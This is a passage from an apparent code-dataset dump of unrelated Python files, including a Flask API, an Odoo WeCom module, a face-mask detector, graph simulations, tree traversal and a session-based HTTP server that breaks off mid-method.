predicted_set[0][2]\nY_test = [[0, High, Low, Close, 0, 0]]\nprint(Y_test)\nY_test = price_scaler.inverse_transform(Y_test)\nprint(Y_test)\n","sub_path":"RNN/Intraday_predictor/TCS/src/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"326289961","text":"import model_search\nimport pandas as pd\n\n\ndef run_search(n):\n df = pd.DataFrame()\n for i in range(0, n + 1):\n results = model_search.main(i)\n df = pd.concat([df, results])\n summary = df.groupby('Algorithm').mean()\n print(\"\\n\\n===SUMMARY===\")\n print(summary)\n\n\nif __name__ == \"__main__\":\n run_search(1000)\n","sub_path":"lib/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"211912405","text":"\nclass NodeCollection(object):\n\n def __init__(self):\n self._nodes = []\n\n def append(self, node):\n self._nodes.append(node)\n\n def __iter__(self):\n for node in self._nodes:\n yield node\n\n def refresh_all(self):\n for node in self:\n node.refresh()\n\n def print_all(self):\n for node in self:\n node.print_info()\n\n def get_all(self):\n lst = []\n for node in self:\n data = {'Node': node.node,\n 'Status': node.status,\n 'Version': node.version,\n 'Git build': node.git_build,\n 'Sync': node.sync_status,\n 'My height': node.my_height,\n 'Leader height': node.leader_height,\n 'Complete height': node.complete_height,\n 'Type': node.node_type,\n 'Chainid': node.chainID\n }\n lst.append(data)\n return lst\n\n\n\n\n\n","sub_path":"FCT_nodes/node_collection.py","file_name":"node_collection.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"619230361","text":"import logging\n\nfrom .core import dispatcher, WSGISOAPHandlerWithWSGISupport\n\nlog = logging.getLogger(__name__)\n\nhandler = logging.StreamHandler()\nformatter = logging.Formatter(u'%(asctime)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\nlog.addHandler(handler)\nlog.setLevel(logging.DEBUG)\n\napplication = WSGISOAPHandlerWithWSGISupport(dispatcher)\n\nif __name__ == '__main__':\n from wsgiref.simple_server import make_server\n logging.basicConfig(level=logging.DEBUG)\n httpd = make_server('', 8008, application)\n log.info('Starting')\n httpd.serve_forever()\n\n","sub_path":"mlib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"97946063","text":"#!/usr/bin/env python3\n# -*- coding: utf8 -*-\n\nimport os\nimport logging.handlers\nimport logging\nfrom flask import Flask, jsonify\nfrom common import get_conf\nfrom ews2case import connect_ews\n\napp_dir = os.path.dirname(os.path.abspath(__file__))\n\n# Create logger\nlogger = logging.getLogger('workflows')\nif not logger.handlers:\n logger.setLevel(logging.DEBUG)\n # Log format as: 2013-03-08 11:37:31,411 : : WARNING :: Testing foo\n formatter = logging.Formatter('%(asctime)s :: %(levelname)s :: %(message)s')\n # Handler writes into, limited to 1Mo in append mode\n if not os.path.exists('logs'):\n # Create logs directory if does no exist (typically at first start)\n os.makedirs('logs')\n pathLog = app_dir + '/logs/syn.log'\n file_handler = logging.handlers.RotatingFileHandler(pathLog, 'a', 1000000, 1)\n # Level debug\n file_handler.setLevel(logging.DEBUG)\n # Using the format defined earlier\n file_handler.setFormatter(formatter)\n # Adding the file handler\n logger.addHandler(file_handler)\n\napp = Flask(__name__)\n\n\n@app.route('/ews2case', methods=['GET'])\ndef ews2case():\n workflow_report = connect_ews()\n if workflow_report['success']:\n return jsonify(workflow_report), 200\n else:\n return jsonify(workflow_report), 500\n\n\n@app.route('/version', methods=['GET'])\ndef get_syn_ver():\n return jsonify({'version': '0.1'}), 200\n\n\nif __name__ == '__main__':\n cfg = get_conf()\n app.run(debug=cfg.getboolean('api', 'debug'),\n host=cfg.get('api', 'host'),\n port=cfg.get('api', 'port'),\n threaded=cfg.get('api', 'threaded'))\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"388531165","text":"#!/usr/bin/python\n#coding=utf-8\n\nfrom pyspark.sql import SparkSession\nimport numpy as np\nfrom pyspark.mllib.stat import Statistics\n\nspark = SparkSession \\\n .builder \\\n .appName(\"Summary_Statistics\") \\\n .getOrCreate()\n\nmat = spark.sparkContext.parallelize(\n [np.array([1.0, 40.0, 100.0]), np.array([2.0, 10.0, 200.0]), np.array([3.0, 30.0, 300.0])]\n) # an RDD of Vectors\n\n# Compute column summary statistics.\nsummary = Statistics.colStats(mat)\nprint(summary.mean()) # a dense vector containing the mean value for each column\nprint(summary.variance()) # column-wise variance\nprint(summary.numNonzeros()) # number of nonzeros in each column","sub_path":"sparkML_test/basic_statistics_RDD_based_API/Summary_statistics.py","file_name":"Summary_statistics.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"154754864","text":"# -*- coding: utf-8 -*-\r\n\r\nimport logging\r\nfrom odoo import _, api, fields, models\r\nfrom ..api.wecom_abstract_api import ApiException\r\n\r\n_logger = logging.getLogger(__name__)\r\n\r\n\r\nclass WeComApps(models.Model):\r\n _inherit = \"wecom.apps\"\r\n\r\n # 回调服务\r\n app_callback_service_ids = fields.One2many(\r\n \"wecom.app_callback_service\", \"app_id\", string=\"Receive event service\",\r\n )\r\n\r\n # 应用参数配置\r\n app_config_ids = fields.One2many(\r\n \"wecom.app_config\",\r\n \"app_id\",\r\n string=\"Application Configuration\",\r\n # context={\r\n # \"default_company_id\": lambda self: self.company_id,\r\n # },\r\n ) # 应用参数配置\r\n\r\n def generate_service(self):\r\n \"\"\"\r\n 生成回调服务\r\n :return:\r\n \"\"\"\r\n code = self.env.context.get(\"code\")\r\n if bool(code) and code == \"contacts\":\r\n # 创建通讯录回调服务\r\n app_callback_service = (\r\n self.env[\"wecom.app_callback_service\"]\r\n .sudo()\r\n .search([(\"app_id\", \"=\", self.id), (\"code\", \"=\", code)])\r\n )\r\n if not app_callback_service:\r\n app_callback_service.create(\r\n {\r\n \"app_id\": self.id,\r\n \"name\": _(\"Contacts synchronization\"),\r\n \"code\": code,\r\n \"callback_url_token\": \"\",\r\n \"callback_aeskey\": \"\",\r\n \"description\": _(\r\n \"When members modify their personal information, the modified information will be pushed to the following URL in the form of events to ensure the synchronization of the address book.\"\r\n ),\r\n }\r\n )\r\n else:\r\n app_callback_service.write(\r\n {\r\n \"name\": _(\"Contacts synchronization\"),\r\n \"code\": code,\r\n \"description\": _(\r\n \"When members modify their personal information, the modified information will be pushed to the following URL in the form of events to ensure the synchronization of the address book.\"\r\n ),\r\n }\r\n )\r\n\r\n def generate_parameters(self):\r\n \"\"\"\r\n 生成通讯录参数\r\n :return:\r\n \"\"\"\r\n code = self.env.context.get(\"code\")\r\n\r\n if bool(code) and code == \"contacts\":\r\n # 从xml 获取数据\r\n ir_model_data = self.env[\"ir.model.data\"]\r\n contacts_auto_sync_hr_enabled = ir_model_data.get_object_reference(\r\n \"wecom_base\", \"wecom_app_config_contacts_auto_sync_hr_enabled\"\r\n )[1]\r\n contacts_sync_hr_department_id = ir_model_data.get_object_reference(\r\n \"wecom_base\", \"wecom_app_config_contacts_sync_hr_department_id\"\r\n )[1]\r\n contacts_edit_enabled = ir_model_data.get_object_reference(\r\n \"wecom_base\", \"wecom_app_config_contacts_edit_enabled\"\r\n )[1]\r\n contacts_sync_user_enabled = ir_model_data.get_object_reference(\r\n \"wecom_base\", \"wecom_app_config_contacts_sync_user_enabled\"\r\n )[1]\r\n contacts_use_system_default_avatar = ir_model_data.get_object_reference(\r\n \"wecom_base\", \"wecom_app_config_contacts_use_system_default_avatar\"\r\n )[1]\r\n contacts_update_avatar_every_time_sync = ir_model_data.get_object_reference(\r\n \"wecom_base\", \"wecom_app_config_contacts_update_avatar_every_time_sync\"\r\n )[1]\r\n vals_list = [\r\n contacts_auto_sync_hr_enabled,\r\n contacts_sync_hr_department_id,\r\n contacts_edit_enabled,\r\n contacts_sync_user_enabled,\r\n contacts_use_system_default_avatar,\r\n contacts_update_avatar_every_time_sync,\r\n ]\r\n\r\n for id in vals_list:\r\n config = self.env[\"wecom.app_config\"].search([(\"id\", \"=\", id)])\r\n app_config = (\r\n self.env[\"wecom.app_config\"]\r\n .sudo()\r\n .search([(\"app_id\", \"=\", self.id), (\"key\", \"=\", config.key)])\r\n )\r\n if not app_config:\r\n app_config = (\r\n self.env[\"wecom.app_config\"]\r\n .sudo()\r\n .create(\r\n {\r\n \"name\": config.name,\r\n \"app_id\": self.id,\r\n \"key\": config.key,\r\n \"value\": config.value,\r\n \"description\": config.description,\r\n }\r\n )\r\n )\r\n else:\r\n app_config.sudo().write(\r\n {\r\n \"name\": config.name,\r\n \"value\": config.value,\r\n \"description\": config.description,\r\n }\r\n )\r\n\r\n def get_app_info(self):\r\n \"\"\"\r\n 获取企业应用信息\r\n :param agentid:\r\n :return:\r\n \"\"\"\r\n for record in self:\r\n try:\r\n wecomapi = self.env[\"wecom.service_api\"].InitServiceApi(\r\n record.company_id.corpid, record.secret\r\n )\r\n response = wecomapi.httpCall(\r\n self.env[\"wecom.service_api_list\"].get_server_api_call(\"AGENT_GET\"),\r\n {\"agentid\": str(record.agentid)},\r\n )\r\n except ApiException as e:\r\n return self.env[\"wecomapi.tools.action\"].ApiExceptionDialog(\r\n e, raise_exception=True\r\n )\r\n else:\r\n if response[\"errcode\"] == 0:\r\n record.write(\r\n {\r\n \"app_name\": response[\"name\"],\r\n \"square_logo_url\": response[\"square_logo_url\"],\r\n \"description\": response[\"description\"],\r\n \"allow_userinfos\": response[\"allow_userinfos\"]\r\n if \"allow_userinfos\" in response\r\n else \"{}\",\r\n \"allow_partys\": response[\"allow_partys\"]\r\n if \"allow_partys\" in response\r\n else \"{}\",\r\n \"allow_tags\": response[\"allow_tags\"]\r\n if \"allow_tags\" in response\r\n else \"{}\",\r\n \"close\": response[\"close\"],\r\n \"redirect_domain\": response[\"redirect_domain\"],\r\n \"report_location_flag\": response[\"report_location_flag\"],\r\n \"isreportenter\": response[\"isreportenter\"],\r\n \"home_url\": response[\"home_url\"],\r\n }\r\n )\r\n # msg = {\r\n # \"title\": _(\"Tips\"),\r\n # \"message\": _(\"Successfully obtained application information!\"),\r\n # \"sticky\": False,\r\n # }\r\n # return self.env[\"wecomapi.tools.action\"].ApiSuccessNotification(msg)\r\n\r\n def set_app_info(self):\r\n \"\"\"\r\n 设置企业应用信息\r\n :param agentid:\r\n :return:\r\n \"\"\"\r\n\r\n def get_access_token(self):\r\n \"\"\"获取企业应用接口调用凭据(令牌)\r\n :return:\r\n \"\"\"\r\n try:\r\n wecom_api = self.env[\"wecom.service_api\"].InitServiceApi(\r\n self.company_id.corpid, self.secret\r\n )\r\n\r\n except ApiException as ex:\r\n return self.env[\"wecomapi.tools.action\"].ApiExceptionDialog(\r\n ex, raise_exception=True\r\n )\r\n # finally:\r\n # if self.expiration_time and self.expiration_time > datetime.now():\r\n # # 令牌未过期,则直接返回 提示信息\r\n # msg = {\r\n # \"title\": _(\"Tips\"),\r\n # \"message\": _(\"Token is still valid, and no update is required!\"),\r\n # \"sticky\": False,\r\n # }\r\n # return self.env[\"wecomapi.tools.action\"].ApiInfoNotification(msg)\r\n\r\n def cron_get_app_token(self):\r\n \"\"\"\r\n 自动任务定时获取应用token\r\n \"\"\"\r\n for app in self.search([(\"company_id\", \"!=\", False)]):\r\n _logger.info(_(\"Start getting token for app [%s].\") % (app.name))\r\n app.get_access_token()\r\n","sub_path":"wecom_api/models/wecom_apps.py","file_name":"wecom_apps.py","file_ext":"py","file_size_in_byte":8933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"639958336","text":"# Import the necessary dependencies\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input\nfrom tensorflow.keras.preprocessing.image import img_to_array\nfrom tensorflow.keras.models import load_model\nfrom imutils.video import VideoStream\nfrom playsound import playsound\nimport numpy as np\nimport requests\nimport imutils\nimport time\nimport cv2\nimport os\n\n# Create a function to detect faces from an image and return the coordinates of the bounding box and the perdiction score\ndef detect_and_predict_mask(frame, faceNet, maskNet):\n\t# Grab the dimensions of the frame and then construct a blob from it\n\t(h, w) = frame.shape[:2]\n\tblob = cv2.dnn.blobFromImage(frame, 1.0, (224, 224), (104.0, 177.0, 123.0))\n\n\t# Pass the blob through the network and obtain the face detections\n\tfaceNet.setInput(blob)\n\tdetections = faceNet.forward()\n\n\t# Initialize our list of faces, their corresponding locations, and the list of predictions from our face mask network\n\tfaces = []\n\tlocs = []\n\tpreds = []\n\n\t# Loop over the detections\n\tfor i in range(0, detections.shape[2]):\n\t\t# Extract the confidence (i.e., probability) associated with the detection\n\t\tconfidence = detections[0, 0, i, 2]\n\n\t\t# Filter out weak detections by ensuring the confidence is greater than the minimum confidence\n\t\tif confidence > 0.5:\n\t\t\t# Compute the (x, y)-coordinates of the bounding box for the object\n\t\t\tbox = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n\t\t\t(startX, startY, endX, endY) = box.astype(\"int\")\n\n\t\t\t# Ensure the bounding boxes fall within the dimensions of the frame\n\t\t\t(startX, startY) = (max(0, startX), max(0, startY))\n\t\t\t(endX, endY) = (min(w - 1, endX), min(h - 1, endY))\n\n\t\t\t# Extract the face ROI, convert it from BGR to RGB channel ordering, resize it to 224 x 224, and preprocess it\n\t\t\tface = frame[startY:endY, startX:endX]\n\t\t\tface = cv2.cvtColor(face, cv2.COLOR_BGR2RGB)\n\t\t\tface = cv2.resize(face, (224, 224))\n\t\t\tface = img_to_array(face)\n\t\t\tface = preprocess_input(face)\n\n\t\t\t# Add the face and bounding boxes to their respective lists\n\t\t\tfaces.append(face)\n\t\t\tlocs.append((startX, startY, endX, endY))\n\n\t# Only make a predictions if at least one face was detected\n\tif len(faces) > 0:\n\t\t# For faster inference we'll make batch predictions on *all*\n\t\t# faces at the same time rather than one-by-one predictions in the above `for` loop\n\t\tfaces = np.array(faces, dtype=\"float32\")\n\t\tpreds = maskNet.predict(faces, batch_size=32)\n\n\t# Return a 2-tuple of the face locations and their corresponding locations\n\treturn (locs, preds)\n\n# Load our serialized face detector model from disk\nprototxtPath = r\"models\\deploy.prototxt\"\nweightsPath = r\"models\\res10_300x300_ssd_iter_140000.caffemodel\"\n# Get the facenet ready\nfaceNet = cv2.dnn.readNetFromCaffe(prototxtPath, weightsPath)\n\n# Get the URL from IPWebcam\nurl = \"http:///shot.jpg\"\n\n# Load the face mask detector model that has been trained, from disk\nmaskNet = load_model(\"models/mask_detector.model\")\n\n# Initialize the video stream\nprint(\"[INFO] Starting Video Stream...\")\nvs = VideoStream(src = 0).start()\n# Wait for 2 seconds for the camera to get ready\ntime.sleep(2)\n\n# Loop over the frames from the video stream\nwhile True:\n\t# Grab the frame from the threaded video stream and resize it to have a maximum width of 600 pixels\n\timg_resp = requests.get(url)\n\timg_arr = np.array(bytearray(img_resp.content), dtype = np.uint8)\n\tframe = cv2.imdecode(img_arr, -1)\n\tframe = cv2.resize(frame, (600, 600))\n\t# Rotate the frame\n\tframe = cv2.rotate(frame, cv2.ROTATE_90_CLOCKWISE)\n\n\t# Detect faces in the frame and determine if they are wearing a face mask or not\n\t(locs, preds) = detect_and_predict_mask(frame, faceNet, maskNet)\n\n\t# Loop over the detected face locations and their corresponding locations\n\tfor (box, pred) in zip(locs, preds):\n\t\t# Unpack the bounding box and predictions\n\t\t(startX, startY, endX, endY) = box\n\t\t(mask, withoutMask) = pred\n\n\t\t# Determine the class label and color we'll use to draw the bounding box and text\n\t\tlabel = \"Mask\" if mask > withoutMask else \"No Mask\"\n\t\tif label == \"Mask\":\n\t\t\tcolor = (0, 255, 0) \n\t\t\t\n\t\telse:\n\t\t\tcolor = (0, 0, 255)\n\t\t\t# Play any alert sound(Playing sound makes the stream slower, so this is optional)\n\t\t\t# playsound('audio/alarm.mp3')\n\n\t\t# Include the probability in the label\n\t\tlabel = \"{}: {:.2f}%\".format(label, max(mask, withoutMask) * 100)\n\n\t\t# Display the label and bounding box rectangle on the output frame\n\t\tcv2.putText(frame, label, (startX, startY - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.45, color, 2)\n\t\tcv2.rectangle(frame, (startX, startY), (endX, endY), color, 2)\n\n\t# Show the output frame\n\tcv2.imshow(\"Output\", frame)\n\tkey = cv2.waitKey(1) & 0xFF\n\n\t# If the `q` key was pressed, break from the loop\n\tif key == ord(\"q\"):\n\t\tprint(\"[INFO] Ending Video Stream...\")\n\t\tbreak\n\n# Do a bit of cleanup\ncv2.destroyAllWindows()\nvs.stop()\n","sub_path":"detect_mask_phone.py","file_name":"detect_mask_phone.py","file_ext":"py","file_size_in_byte":4847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"591001182","text":"\"\"\"\nWrite locations to mongodb\n\"\"\"\nimport datetime\nfrom pymongo import InsertOne\nfrom FunkyBusFare import get_positions, timestamp\n\nclass VehiclePositionsMongo:\n \"\"\"\n Write rows to mongodb.\n \"\"\"\n def __init__(self, url, collection, sleep=5):\n self.url = url\n self.collection = collection\n self.sleep = sleep\n\n def write(self):\n \"\"\"\n Write rows to database.\n \"\"\"\n rows = get_positions(self.url, sleep=self.sleep)\n data = []\n try:\n while True:\n for _ in range(100):\n row = next(rows)\n row[\"timestamp\"] = timestamp(row[\"timestamp\"])\n data.append(InsertOne(row))\n self.collection.bulk_write(data)\n data = []\n finally:\n # clean up any stragglers\n self.collection.bulk_write(data)\n\n","sub_path":"FunkyBusFare/mongowriter.py","file_name":"mongowriter.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"230236407","text":"# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors\n# MIT License. See license.txt\n\nfrom __future__ import unicode_literals\nimport frappe\n\ndef execute():\n\tfor d in frappe.db.sql(\"\"\"select name, dt, insert_after from `tabCustom Field`\n\t\twhere docstatus < 2\"\"\", as_dict=1):\n\t\t\tdt_meta = frappe.get_meta(d.dt)\n\t\t\tif not dt_meta.get_field(d.insert_after):\n\t\t\t\tcf = frappe.get_doc(\"Custom Field\", d.name)\n\t\t\t\tdf = dt_meta.get(\"fields\", {\"label\": d.insert_after})\n\t\t\t\tif df:\n\t\t\t\t\tcf.insert_after = df[0].fieldname\n\t\t\t\telse:\n\t\t\t\t\tcf.insert_after = None\n\t\t\t\tcf.save()\n","sub_path":"frappe/patches/v4_0/update_custom_field_insert_after.py","file_name":"update_custom_field_insert_after.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"560251024","text":"##program enviroment:ubuntu 16.04, python 3.5.x 64bit.Please run it in Pytyon3!!!if running it on windows, i can't guarantee the outcome. :[geemguang@pusan.ac.kr] e-mail me.\nimport random #to implement 30% of x, this comes from pythons own package.\nimport matplotlib.pyplot as plt #draw graph, if having problem installing this. google it or [geemguang@pusan.ac.kr] e-mail me.\ndot = {} #create vertexes(vertices)\nglobal bugged #to check connected\nv = 100 #create how many vertexes(vertices) ##changes v and n,to get result faster. like v=20, n=200\nn = 5000#!!!5000!!! takes 20 mins to run///this is run how many times, if n=50000, like in the assignment, it takes too long to execute it. professor told me to lower it to 5000.\np = 0.01 #starting probility\naddp = 0.01 #probility accumulating rate\n#this is checking 'is this net connected' function.\ndef bug_it(breedground=0,comingfrom=0):\n global bugged\n if bugged[breedground]:\n pass\n else:\n bugged[breedground]=True\n for target in range(v):\n if target != breedground and target != comingfrom and not bugged[target]:\n if dot[breedground][target]['connected'] and not bugged[target]:\n bug_it(target,breedground)\n#make bonds(edgs) with given probiblity, apply to all vertexes(vertices) ,but preventing trying same vertexes(vertices) twice. -- like (u,x) --[prevent]:trying u -> x and x -> u\ndef makebonds(p):\n for i in range(v):#dot\n for j in range(v):#target\n if dot[i][j]['tried'] and dot[j][i]['tried']:\n pass\n else:\n dot[i][j]['tried'] = True\n dot[j][i]['tried'] = True\n if i == j:\n dot[i][j]['connected'] = True\n elif random.random() < p:\n dot[i][j]['connected'] = True\n dot[j][i]['connected'] = True\n#init new vertexes(vertices), make them ready to get tested.\ndef makedots(p):\n for i in range(v):\n dot[i] = {j:{'tried':False,'connected':False} for j in range(v)}\n makebonds(p)\n#count how many vertexes(vertices)-nets(s) are connected in all nets(n), return Pr(w(g)=1) = ?? ,which is S/N from assignment.\ndef s(p):\n global bugged\n score = 0\n for _ in range(n):\n makedots(p)\n bugged = {i:False for i in range(v)}\n bug_it()\n isconnected = True\n for i in range(v):\n if not bugged[i]:\n isconnected = False\n break\n if isconnected:\n score += 1\n return score/n\n#this is main() entry point\nif __name__ == '__main__':\n scores = []\n while p<0.51:\n score = s(p)\n scores.append(score)\n p += addp\n plt.plot([(i+1)/100 for i in range(50)],scores)\n plt.show()\n","sub_path":"__OLD_CODE_STORAGE/grap_NAME/graph2.py","file_name":"graph2.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"418158427","text":"\"\"\"wearesocial URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.8/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\nfrom django.conf.urls.static import static\nfrom accounts.views import register, login, logout, profile, cancel_subscription\nfrom django.conf import settings\n\nurlpatterns = [\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', 'core.views.get_index', name='home'),\n url(r'^pages/', include('django.contrib.flatpages.urls')),\n url(r'^contact/', 'contact.views.contact', name='contact'),\n url(r'^register/$', register, name='register'),\n url(r'^login/$', login, name='login'),\n url(r'^logout/$', logout, name='logout'),\n url(r'^profile/$', profile, name='profile'),\n url(r'^loggedin/$', 'accounts.views.user_profile'),\n url(r'^cancel_subscription/$', cancel_subscription, name='cancel_subscription'),\n url(r'^media/(?P.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) \\\n + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n\n #FORUM\n # url(r'^formum/', threads.views.forum, name=\"forum\"),","sub_path":"wearesocial/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"167929736","text":"class Op:\n def __init__(self, executor):\n self.prereqs = 0\n self.executor = executor\n self.successors = []\n\nclass Po:\n def __init__(self):\n self.ops = []\n\n def add(self, to_add):\n answer = len(self.ops)\n self.ops.append(Op(to_add))\n return answer\n\n def before(self, op1, op2):\n assert op1 >= 0 and op1 < len(self.ops)\n assert op2 >= 0 and op2 < len(self.ops)\n self.ops[op2].prereqs += 1\n self.ops[op1].successors.append(op2)\n\n def start_op(self, oid, o):\n self.ops_outstanding += 1\n for r in o.executor.resources():\n assert r not in self.event_to_op\n self.event_to_op[r] = oid\n o.executor.start(lambda: self.done(oid))\n\n def start(self, done_callback):\n self.done_callback = done_callback\n self.event_to_op = {}\n self.ops_outstanding = 0\n for oid, o in enumerate(self.ops):\n if o.prereqs == 0:\n self.start_op(oid, o)\n\n def done(self, oid):\n o = self.ops[oid]\n for r in o.executor.resources():\n assert r in self.event_to_op\n del self.event_to_op[r]\n for s in o.successors:\n assert self.ops[s].prereqs >= 1\n self.ops[s].prereqs -= 1\n if self.ops[s].prereqs == 0:\n self.start_op(s, self.ops[s])\n assert self.ops_outstanding >= 1\n self.ops_outstanding -= 1\n if self.ops_outstanding == 0:\n self.done_callback()\n\n def event(self, to_handle):\n oid = self.event_to_op[to_handle]\n o = self.ops[oid]\n o.executor.event(to_handle)\n\n def resources(self):\n a = {}\n for o in self.ops:\n for r in o.executor.resources():\n a[r] = True\n return a\n\n\n\n\n\n","sub_path":"bts-python/po.py","file_name":"po.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"582666054","text":"#! /usr/bin/python\n\nclass Node:\n def __init__(self, val, left = None, right = None):\n self.val = val\n self.left = left\n self.right = right\n\n def __str__(self):\n return self.val\n\nroot = Node('F')\nroot.left = Node('B', Node('A'), Node('D', Node('C'), Node('E')))\nroot.right = Node('G', None, Node('I', Node('H')))\n\ndef pre_order_traversal(node):\n if not node:\n return []\n\n result = []\n result.append(node.val)\n result += pre_order_traversal(node.left)\n result += pre_order_traversal(node.right)\n\n return result\n\nprint('pre order traversal')\narr = pre_order_traversal(root)\nprint(arr)\n\ndef level_order_traversal(node):\n result = []\n if not node:\n return\n\n queue = [node]\n while len(queue):\n level = []\n queue2 = []\n for item in queue:\n level.append(item.val)\n if item.left:\n queue2.append(item.left)\n if item.right:\n queue2.append(item.right)\n\n result.append(level)\n queue = queue2\n return result\n\n\nprint('level order traversal')\narr = level_order_traversal(root)\nprint(arr)\n\ndef maxDepth(root):\n \"\"\"\n buttom up, get the max depth of a tree\n \"\"\"\n if not root:\n return 0\n left = maxDepth(root.left)\n right = maxDepth(root.right)\n return max(left, right) + 1\n\n\ndef isSymmetric(root):\n if not root:\n return True\n list = [root.left, root.right]\n while len(list):\n item = list.pop(0)\n otherItem = list.pop(0)\n if not item and not otherItem:\n continue\n if not item or not otherItem:\n return False\n if item.val != otherItem.val:\n return False\n list += [item.left, otherItem.right, item.right, otherItem.left]\n\n return True\n\ndef isSymmetric_rec(root):\n if not root:\n return True\n return isMirror(root.left, root.right)\n\ndef isMirror(item1, item2):\n if not item1 and not item2:\n return True\n if not item1 or not item2:\n return False\n return (item1.val == item2.val and\n isMirror(item1.left, item2.right) and\n isMirror(item1.right, item2.left))\n\ndef serialize(root):\n \"\"\"Encodes a tree to a single string.\n\n :type root: TreeNode\n :rtype: str\n \"\"\"\n def ser(node, string):\n if not node:\n string += '#,'\n return string\n else:\n string += node.val + ','\n\n string = ser(node.left, string)\n string = ser(node.right, string)\n return string\n result = ser(root, '')\n return result\n\nprint('serialize')\nprint(serialize(root))\n\ndef deserialize(data):\n queue = data.strip(',').split(',')\n\n def des(q):\n val = q.pop(0)\n if val == '#':\n return None\n node = Node(val)\n node.left = des(q)\n node.right = des(q)\n\n return node\n return des(queue)\n\ndeserialized = deserialize(serialize(root))\nprint(serialize(deserialized))\n# git test\n","sub_path":"traversal.py","file_name":"traversal.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"303022530","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nfrom http import cookies\nfrom urllib.parse import parse_qs\nimport json\nimport sys\nfrom posts_db import PostsDB\nfrom session_store import SessionStore\nfrom passlib.hash import bcrypt\n\ngSessionStore = SessionStore()\n\nclass MyRequestHandler(BaseHTTPRequestHandler):\n\n def end_headers(self):\n self.send_cookie()\n self.send_header(\"Access-Control-Allow-Credentials\", \"true\")\n self.send_header(\"Access-Control-Allow-Origin\", self.headers[\"Origin\"])\n BaseHTTPRequestHandler.end_headers(self)\n \n def load_cookie(self):\n # create a cookie object and save into self.cookie\n if \"Cookie\" in self.headers:\n # read a header, capture the cookie\n self.cookie = cookies.SimpleCookie(self.headers[\"Cookie\"])\n else:\n # or, create a cookie if one doesn't exist\n self.cookie = cookies.SimpleCookie()\n\n\n def send_cookie(self):\n for morsel in self.cookie.values():\n # write a header, sending cookie data (if any)\n self.send_header(\"Set-Cookie\", morsel.OutputString())\n \n # using cookie data, load session data into self.sessionData\n def load_session_data(self):\n # first, load the cookie data\n self.load_cookie()\n # IF the sessionId is found in the cookie\n if \"sessionId\" in self.cookie:\n # load the session ID from the cookie\n sessionId = self.cookie[\"sessionId\"].value\n # then, use the session ID to load the session data from the session store\n # save session data into variable for use later\n self.sessionData = gSessionStore.getSessionData(sessionId)\n # IF the session data DOES NOT exist in the session store\n if self.sessionData == None: # Server likely was restarted, data was lost\n # re-create the session and issue a new session ID into a cookie\n sessionId = gSessionStore.createSession()\n # save session data into variable for use later\n self.sessionData = gSessionStore.getSessionData(sessionId)\n # and create a new cookie value with the new session ID\n self.cookie[\"sessionId\"] = sessionId\n # otherwise, IF no session ID in cookie\n else:\n # then, create a new sessino in the session store (createSession)\n sessionId = gSessionStore.createSession()\n # save session data into variable for use later\n self.sessionData = gSessionStore.getSessionData(sessionId)\n # and create a new cookie value with the new session ID\n self.cookie[\"sessionId\"] = sessionId\n \n \n def handleSomeBadRequest(self, status_code):\n if status_code == 404:\n msg = \"Path not found: \" + self.path + \" make sure your path is '/posts' for POST or GET requests, or '/posts/' for UPDATE and DELETE requests.\"\n elif status_code == 400:\n msg = \"Bad request syntax. You probably left one or more forms blank.\"\n elif status_code == 401:\n msg = \"Authentication failure. Please log in and try again.\"\n elif status_code == 422:\n msg = \"User already exists under that email.\"\n else:\n status_code = 500\n msg = \"The server encountered an internal error and we're not sure why.\"\n 